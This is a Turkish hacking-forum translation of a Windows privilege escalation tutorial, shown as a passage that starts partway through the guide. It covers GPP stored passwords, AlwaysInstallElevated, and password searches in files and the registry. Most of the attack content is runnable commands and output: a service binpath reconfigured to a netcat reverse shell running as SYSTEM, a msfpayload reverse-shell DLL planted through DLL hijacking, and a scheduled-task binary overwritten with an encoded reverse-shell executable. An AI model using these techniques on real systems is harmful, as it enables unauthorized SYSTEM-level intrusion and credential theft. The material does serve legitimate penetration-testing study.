Ben Campbell'ın (@Meatballs__) tavsiyesi üzerine Grup İlkesi Tercihi kaydedilmiş şifreleri hızlı başarısızlıklar listesine ekliyorum. GPO tercih dosyaları, etki alanı makinelerinde yerel kullanıcılar oluşturmak için kullanılabilir. Uyuştuğunuz kutu bir etki alanına bağlandığında, SYSVOL'de depolanan Groups.xml dosyasını aramaya değerdir. Kimliği doğrulanmış herhangi bir kullanıcının bu dosyaya okuma erişimi olacaktır. Xml dosyasındaki parola, AES ile şifrelenerek sıradan kullanıcıdan "gizlenir", gizlenir diyorum ki statik anahtar, depolanan değerin kolay şifresinin çözülmesine izin veren msdn web sitesinde yayınlandığı için gizlenmiş.

priv05_big.png



Groups.xml'ye ek olarak, diğer birkaç ilke tercih dosyasında DA isteğe bağlı "cPassword" öznitelik kümesi bulunabilir:
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
Bu güvenlik açığından SYSVOL'a manuel olarak göz atarak ve aşağıda gösterildiği gibi ilgili dosyaları alarak yararlanılabilir.


priv06_big.png



Fakat bitiş çizgisine olabildiğince çabuk ulaşabilmemiz için hepimiz otomatik çözümleri severiz. Sahip olduğumuz kabuk/erişim türüne bağlı olarak burada iki ana seçenek var. Burada ;

(1) Kurulu bir oturum aracılığıyla yürütülebilen bir ****sploit modülü var veya (2) PowerSploit'in bir parçası olan Get-GPPPassword'u kullanabilirsiniz. PowerSploit, Matt Graeber tarafından tersine mühendislik, adli bilimler ve pentestler için tasarlanmış mükemmel bir powershell çerçevesidir.
Bir sonraki arayacağımız şey, garip bir kayıt defteri ayarı olan "AlwaysInstallElevated"dir. Bu ayar etkinleştirilirse, herhangi bir ayrıcalık düzeyindeki kullanıcıların * .msi dosyalarını NT AUTHORITY \ SYSTEM olarak yüklemesine izin verir. Düşük ayrıcalıklı kullanıcılar yaratmanız (işletim sistemini kullanımlarını kısıtlamak için) ancak onlara SİSTEM olarak programları yükleme yeteneği vermeniz benim için garip bir fikir gibi görünüyor. Bu konuyla ilgili daha fazla arka plan okuması için, GreyHatHacker'dan Parvez tarafından yazılan, bunu bir güvenlik sorunu olarak bildiren orijinal makaleye buradan bakabilirsiniz.

Bunu kullanabilmek için iki kayıt defteri anahtarının da ayarlanmış olup olmadığını kontrol etmemiz gerekir, bu durumda bir SYSTEM kabuğunu açabiliriz. Aşağıda ilgili kayıt defteri anahtarlarını sorgulamak için olan syntax'ı görebilirsiniz.


Kod:
 [COLOR="plum"]# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.

C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated[/COLOR]




Bu bölümü bitirmek için işletim sistemi hakkında hızlı bir araştırma yapacağız ve altın bulacağımızı umuyoruz. Aşağıda aramalarımızın sözdizimini görebilirsiniz.

Kod:
[COLOR="Plum"] # The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.

C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*

# Search certain file types for a keyword, this can generate a lot of output.

C:\Windows\system32> findstr /si password *.xml *.ini *.txt

# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".

C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s[/COLOR]


(DEVAMI AŞAĞIDA)
 
Son düzenleme:

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
t7’den t10 için Δt – Kollarınızı Sıvayın

Şükür ki şimdiye kadar zaten bir SYSTEM kabuğumuz var, ancak hala yoksa incelememiz gereken birkaç saldırı yolu var. Bu son bölümde Windows hizmetlerine ve dosya/klasör izinlerine bakacağız. Buradaki amacımız, oturum ayrıcalıklarımızı yükseltmek için zayıf izinleri kullanmaktır.

Birçok erişim hakkını kontrol edeceğiz, bu yüzden Microsoft'un Sysinternals Suite'in bir aracı olan accesschk.exe'nin bir kopyasını almalıyız. Microsoft Sysinternals birçok mükemmel araç içerir, Microsoft'un bunları standart Windows yapısına eklememiş olması utanç verici. Paketi Microsoft technet'ten, buradan indirebilirsiniz.

Orada bulunabilecek bazı hızlı zaferler olduğu için Windows hizmetleriyle başlayacağız. Genellikle modern işletim sistemleri savunmasız hizmetler içermez. Bu durumda savunmasız, hizmet parametrelerini yeniden yapılandırabileceğimiz anlamına gelir. Windows hizmetleri, uygulama kısayollarına benzer, aşağıdaki örneğe bir göz gezdirin.


Kod:
 [COLOR="Plum"]# We can use sc to query, configure and manage windows services.

C:\Windows\system32> sc qc Spooler

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Spooler
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\spoolsv.exe
        LOAD_ORDER_GROUP   : SpoolerGroup
        TAG                : 0
        DISPLAY_NAME       : Print Spooler
        DEPENDENCIES       : RPCSS
                           : http
        SERVICE_START_NAME : LocalSystem


Accesschk kullanarak her hizmet için gerekli ayrıcalık seviyesini kontrol edebiliriz.


Kod:
 # We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list
all services.

C:\> accesschk.exe -ucqv Spooler

Spooler

  R  NT AUTHORITY\Authenticated Users
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  R  BUILTIN\Power Users
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS[/COLOR]




Accesschk, belirli bir kullanıcı seviyesine sahip bir Windows hizmetine yazma erişimimiz olup olmadığını otomatik olarak kontrol edebilir. Genellikle, düşük ayrıcalıklı bir kullanıcı olarak "Kimliği Doğrulanmış Kullanıcılar" ı kontrol etmek isteriz. Kullanıcının ait olduğu kullanıcı gruplarını kontrol ettiğinizden emin olun, örneğin "Yetkili Kullanıcılar" düşük ayrıcalıklı bir kullanıcı grubu olarak kabul edilir (ancak yaygın olarak kullanılmamaktadır).
Hadi çıktıyı Windows 8 ve Windows XP SP0'da karşılaştıralım.


Kod:
 [COLOR="plum"]# This is on Windows 8.

C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.

# On a default Windows XP SP0 we can see there is a pretty big security fail.

C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS
		
C:\> accesschk.exe -ucqv SSDPSRV

SSDPSRV

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\LOCAL SERVICE
        SERVICE_ALL_ACCESS

C:\> accesschk.exe -ucqv upnphost

upnphost

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\LOCAL SERVICE
        SERVICE_ALL_ACCESS[/COLOR]


Bu sorun daha sonra Windows XP SP2'nin tanıtılmasıyla çözüldü, ancak SP0 ve SP1'de evrensel bir yerel ayrıcalık yükseltme güvenlik açığı olarak kullanılabilir. Hizmeti yeniden yapılandırarak, kendi seçtiğimiz herhangi bir binary dosyayı SİSTEM seviyesi ayrıcalıklarıyla çalıştırmasına izin verebiliriz.

Bunun pratikte nasıl yapıldığına bir bakalım. Bu durumda, hizmet netcat'i çalıştıracak ve SİSTEM düzeyinde ayrıcalıklara sahip bir ters kabuk açacaktır. Diğer seçenekler de kesinlikle mümkündür.


Kod:
 [COLOR="plum"]C:\> sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\System32\svchost.exe -k LocalService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : NT AUTHORITY\LocalService
		
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS

C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS

C:\> sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : LocalSystem
		
C:\> net start upnphost[/COLOR]


priv01_big.png



Yanlış yapılandırılmış olsa bile bir hizmete her zaman tam erişimimiz olmayacaktır. Aşağıdaki resim, Brett Moore'un Windows ayrıcalık yükseltme konusundaki sunumundan alınmıştır, bu erişim haklarından herhangi birisi bize bir SİSTEM kabuğu verecektir.

priv02_big.png



Unutulmaması gereken önemli bir şey, açığa çıkan oturumumuzun hangi kullanıcı grubuna ait olduğunu bulmamızdır. Daha önce bahsedildiği gibi "Yetkili Kullanıcılar" da düşük ayrıcalıklı bir kullanıcı grubu olarak kabul edilir. "Yetkili Kullanıcılar"ın kendi güvenlik açıkları vardır, Mark Russinovich konuyla ilgili çok ilginç bir makale yazmıştır.
Güçlü Kullanıcıların Gücü (Mark Russinovich) - buradan

Son olarak, dosya/klasör izinlerini inceleyeceğiz, eğer işletim sistemine doğrudan saldıramazsak, işletim sisteminin tüm zor işi yapmasına izin vereceğiz. Burada ele alınacak çok şey var, bu yüzden size iki tür izin açıklarını ve bunlardan nasıl yararlanılacağını göstereceğim. Genel fikri kavradığınızda, bu teknikleri diğer durumlara da uygulayabileceksiniz.

İlk örneğimiz için, GreyHatHacker'dan Parvez tarafından yazılan bir gönderinin sonuçlarını kopyalayacağız; "Zayıf klasör izinlerinden yararlanarak ayrıcalıkları yükseltme". Buradan büyük bir ayrıcalık yükseltme yazısı ve bu yazısını okumanızı şiddetle tavsiye ederim.
Bu örnek, DLL kaçırmanın özel bir durumudur. Programlar genellikle kendi başlarına çalışamazlar, bağlanmaları gereken çok sayıda kaynağa sahiptirler (çoğunlukla DLL'ler ve ayrıca özel dosyalar). Bir program veya hizmet, yazma erişimimiz olan bir dizinden bir dosya yüklerse, programın çalıştığı ayrıcalıklara sahip bir kabuğu açmak için bunu kötüye kullanabiliriz.

Genellikle bir Windows uygulaması DLL'leri bulmak için önceden tanımlanmış arama yollarını kullanır ve bu yolları belirli bir sırayla kontrol eder. DLL korsanlığı genellikle bu yollardan birine kötü amaçlı bir DLL yerleştirerek ve DLL'nin yasal olandan önce bulunduğundan emin olarak gerçekleşir. Bu sorun, uygulamanın ihtiyaç duyduğu DLL'lerin mutlak yollarını belirtmesini sağlayarak hafifletilebilir.
DLL arama sırasını 32 bit sistemlerde aşağıda görebilirsiniz:
1 - Uygulamanın yüklendiği dizin
2 - 32 bit Sistem dizini (C:\Windows\System32)
3- 16 bit Sistem dizini (C:\Windows\System)
4 - Windows dizini (C:\Windows)
5 - Geçerli çalışma dizini (CWD)
6 - PATH ortam değişkenindeki dizinler (sistem, sonrasında kullanıcı)

Bazen uygulamalar makinede bulunmayan DLL'leri yüklemeye çalışır. Bu, birkaç nedenden dolayı meydana gelebilir, mesela DLL yalnızca yüklü olmayan belirli eklentiler veya özellikler için gerekliyse. Bu durumda Parvez, belirli Windows hizmetlerinin varsayılan yüklemelerde bulunmayan DLL'leri yüklemeye çalıştığını keşfetti.

Söz konusu DLL mevcut olmadığından, tüm arama yollarını es geçeceğiz. Düşük ayrıcalıklı bir kullanıcı olarak 1-4'e kötü amaçlı bir DLL koyma umudumuz çok azdır, bu durumda 5 bir olasılık değildir çünkü bir Windows hizmetinden bahsediyoruz, ancak Windows PATH'deki dizinlerden herhangi birine yazma erişimimiz varsa, kazandık.

Bunun pratikte nasıl çalıştığına bir göz atalım, örneğimizde wlbsctrl.dll'yi yüklemeye çalışan IKEEXT (IKE ve AuthIP IPsec Anahtarlama Modülleri) hizmetini kullanacağız.


Kod:
 [COLOR="plum"]# This is on Windows 7 as low privilege user1.

C:\Users\user1\Desktop> echo %username%

user1

# We have a win here since any non-default directory in "C:\" will give write access to authenticated
users.
		
C:\Users\user1\Desktop> echo %path%

C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27

# We can check our access permissions with accesschk or cacls.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"

C:\Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\user1\Desktop> cacls "C:\Python27"

C:\Python27 BUILTIN\Administrators:(ID)F
            BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITY\SYSTEM:(ID)F
            NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
            BUILTIN\Users:(OI)(CI)(ID)R
            NT AUTHORITY\Authenticated Users:(ID)C
            NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
			
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot!
		
C:\Users\user1\Desktop> sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES       : BFE
        SERVICE_START_NAME : LocalSystem

Artık gerekli koşulların karşılandığını biliyoruz, kötü amaçlı bir DLL oluşturabilir ve bir kabuk açabiliriz!

Kod:
 root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     127.0.0.1        yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > 
/root/Desktop/evil.dll

Created by msfpayload (http://www.****sploit.com).
Payload: windows/shell_reverse_tcp
 Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}


DLL'yi hedef makinemize aktardıktan sonra tek yapmamız gereken onu wlbsctrl.dll olarak yeniden adlandırmak ve "C:\Python27" konumuna taşımaktır. Bu yapıldıktan sonra, makinenin yeniden başlatılması için sabırla beklememiz gerekir (veya yeniden başlatmayı zorlayabiliriz) ve bir SYSTEM kabuğu alacağız.

Kod:
 # Again, this is as low privilege user1.

C:\Users\user1\Desktop> dir

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Users\user1\Desktop

02/18/2014  01:49 PM    <DIR>          .
02/18/2014  01:49 PM    <DIR>          ..
04/22/2013  09:39 AM           331,888 accesschk.exe
02/18/2014  12:38 PM            14,336 evil.dll
01/25/2014  12:46 AM            36,864 fubar.exe
01/22/2014  08:17 AM    <DIR>          incognito2
06/30/2011  01:52 PM         1,667,584 ncat.exe
11/22/2013  07:39 PM             1,225 wmic_info.bat
               5 File(s)      2,051,897 bytes
               3 Dir(s)      73,052,160 bytes free

C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll

        1 file(s) copied.
		
C:\Users\user1\Desktop> dir C:\Python27

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Python27

02/18/2014  01:53 PM    <DIR>          .
02/18/2014  01:53 PM    <DIR>          ..
10/20/2012  02:52 AM    <DIR>          DLLs
10/20/2012  02:52 AM    <DIR>          Doc
10/20/2012  02:52 AM    <DIR>          include
01/28/2014  03:45 AM    <DIR>          Lib
10/20/2012  02:52 AM    <DIR>          libs
04/10/2012  11:34 PM            40,092 LICENSE.txt
04/10/2012  11:18 PM           310,875 NEWS.txt
04/10/2012  11:31 PM            26,624 python.exe
04/10/2012  11:31 PM            27,136 pythonw.exe
04/10/2012  11:18 PM            54,973 README.txt
10/20/2012  02:52 AM    <DIR>          tcl
10/20/2012  02:52 AM    <DIR>          Tools
04/10/2012  11:31 PM            49,664 w9xpopen.exe
02/18/2014  12:38 PM            14,336 wlbsctrl.dll
               7 File(s)        523,700 bytes
               9 Dir(s)      73,035,776 bytes free[/COLOR]




Her şey ayarlandı, şimdi yapmamız gereken tek şey sistemin yeniden başlatılmasını beklemek. Demo amacıyla, hizmeti manuel olarak yeniden başlatmak için bir Yönetici komut istemi kullandığım bir ekran görüntüsünü de aşağıya ekledim.

priv03_big.png



Son örneğimiz için planlanan görevlere bir göz atacağız. Daha önce topladığımız sonuçların üzerinden geçerken aşağıdaki girişle karşılaşıyoruz.

Kod:
 [COLOR="plum"]HostName:                             B33F
TaskName:                             \LogGrabberTFTP
Next Run Time:                        2/19/2014 9:00:00 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        N/A
Last Result:                          1
Author:                               B33F\b33f
Task To Run:                          E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           9:00:00 AM
Start Date:                           2/17/2014
End Date:                             N/A
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled[/COLOR]


Kutunun üzerinde, uzak bir ana bilgisayara bağlanan ve bir tür günlük dosyası tutan TFTP istemcisi var gibi görünüyor. Bu görevin her gün sabah 9'da çalıştığını ve SİSTEM düzeyinde ayrıcalıklarla (oof) çalıştığını görebiliriz. Bu klasöre yazma erişimimiz olup olmadığına bir bakalım.

Kod:
 [COLOR="plum"]C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"

E:\GrabLogs
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
		
C:\Users\user1\Desktop> dir "E:\GrabLogs"

 Volume in drive E is More
 Volume Serial Number is FD53-2F00

 Directory of E:\GrabLogs

02/18/2014  11:34 PM    <DIR>          .
02/18/2014  11:34 PM    <DIR>          ..
02/18/2014  11:34 PM    <DIR>          Logs
02/18/2014  09:21 PM           180,736 tftp.exe
               1 File(s)        180,736 bytes
               3 Dir(s)   5,454,602,240 bytes free[/COLOR]


Açıkçası bu ciddi bir yapılandırma sorunudur, bu görevin SİSTEM olarak çalışmasına gerek yoktur, ancak daha da kötüsü, kimliği doğrulanmış herhangi bir kullanıcının klasöre yazma erişimine sahip olmasıdır. İdeal olarak, bir pentest bağlantısı için TFTP istemcisini alırdım, PE çalıştırılabilirinin arka kapısını hala kusursuz bir şekilde çalıştığından emin olur ve ardından hedef makineye geri bırakırdım. Bununla birlikte, bu örneğin amacı için, ****sploit tarafından oluşturulan bir yürütülebilir dosya ile ikilinin üzerine yazabiliriz.

Kod:
 [COLOR="plum"]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     127.0.0.1        yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t
exe > /root/Desktop/evil-tftp.exe

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)[/COLOR]


Şimdi geriye kalan tek şey kötü amaçlı çalıştırılabilir dosyamızı yüklemek ve "E:\GrabLogs\tftp.exe" nin üzerine yazmak. Bunu yaptıktan sonra erken bir gece uykusu alabilir ve sabah kabuğumuz için uyanabiliriz. Burada hatırlanması gereken önemli bir şey, uzlaşmaya çalıştığımız kutudaki saati saat dilimini kontrol etmemizdir.

Kod:
 [COLOR="plum"]C:\Users\user1\Desktop> dir

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Users\user1\Desktop

02/19/2014  01:36 AM    <DIR>          .
02/19/2014  01:36 AM    <DIR>          ..
04/22/2013  09:39 AM           331,888 accesschk.exe
02/19/2014  01:31 AM            73,802 evil-tftp.exe
01/25/2014  12:46 AM            36,864 fubar.exe
01/22/2014  08:17 AM    <DIR>          incognito2
06/30/2011  01:52 PM         1,667,584 ncat.exe
02/18/2014  12:38 PM            14,336 wlbsctrl.dll
11/22/2013  07:39 PM             1,225 wmic_info.bat
               6 File(s)      2,125,699 bytes
               3 Dir(s)      75,341,824 bytes free
		
C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe

Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes
        1 file(s) copied.[/COLOR]


Bu ayrıcalık artışını iş başında göstermek için sistem saatini hızlı ileri aldım. Aşağıdaki ekran görüntüsünden, SİSTEM kabuğumuzla hemen saat 9: 00'da sunulduğumuzu görebilirsiniz.

priv04_big.png



Bu iki örnek, dosya/klasör izinlerini değerlendirirken aramamız gereken güvenlik açığı türleri hakkında size bir fikir vermelidir. Windows hizmetleri, zamanlanmış görevler ve başlangıç görevleri için TÜM bin yolları’nı incelemek için zaman ayırmanız gerekecektir.
Gördüğümüz gibi accesschk burada tercih edilen bir araçtır. Bitirmeden önce size accesschk kullanımıyla ilgili birkaç son nokta göstermek istiyorum.


Kod:
 [COLOR="plum"]# When executing any of the sysinternals tools for the first time the user will be presented with a GUI
pop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flag
to automatically accept the EULA.

accesschk.exe /accepteula ... ... ...

# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*[/COLOR]



Sonsöz

Bu kılavuz, Windows ayrıcalık yükseltmesi için bir "temel" olma amacını taşımaktadır. Konuyu gerçekten öğrenmek istiyorsanız, çok fazla çalışma ve araştırma yapmanız gerekecektir. Pentesting'in tüm yönlerinde olduğu gibi, numaralandırma püf noktadır, hedef hakkında ne kadar çok şey bilirseniz, ne kadar çok saldırı yoluna sahip olursanız, başarı oranı o kadar yüksek olur.

Ayrıca, bazen ayrıcalıklarınızı Yönetici olarak yükseltebileceğinizi de unutmayın. Ayrıcalıkların Yöneticiden SİSTEM'e yükseltilmesi sorun teşkil etmez, bir hizmeti her zaman yeniden yapılandırabilir veya SİSTEM düzeyinde ayrıcalıklarla zamanlanmış bir görev oluşturabilirsiniz.
Şimdi gidin ve SİSTEM'i patlatın/açın!


ORİJİNAL KAYNAK: https://www.fuzzysecurity.com/tutorials/16.html
ÇEVİRMEN: Dolyetyus
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.